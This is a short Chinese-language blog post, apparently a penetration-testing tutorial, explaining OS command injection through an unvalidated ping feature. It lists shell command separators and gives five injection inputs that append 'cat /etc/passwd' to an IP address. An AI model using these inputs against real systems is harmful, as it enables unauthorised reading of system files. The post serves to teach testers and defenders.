背景:
有些场景支持直接传参给系统命令并调用的情况;如输入一个ip 执行ping命令看是否能ping同;这种场景如果没有对参数进行校验直接传参就会存在命令注入的情况;
首先需要连接下通过命令连接符号连接的命令执行策略:
commandA; commandB //commandA无论正确与否都会执行commandB
commandA & commandB //commandA后台执行, commandA 和 commandB同时执行
commandA && commandB //commandA 执行成功后才会执行commandB
commandA | commandB //管道操作 commandA执行的结果作为commandB执行的参数, 无论A正确执行与否都会执行commandB
commandA || commandB //commandA执行失败时才会执行commandB
鉴于以上特性,可以在输入时进行命令注入:
127.0.0.1 ; cat /etc/passwd
127.0.0.1 & cat /etc/passwd
127.0.0.1 && cat /etc/passwd
127.0.0.1 | cat /etc/passwd
127.1 || cat /etc/passwd
标签:渗透,cat,commandA,etc,commandB,passwd,测试,执行,注入
From: https://www.cnblogs.com/gatling/p/17309666.html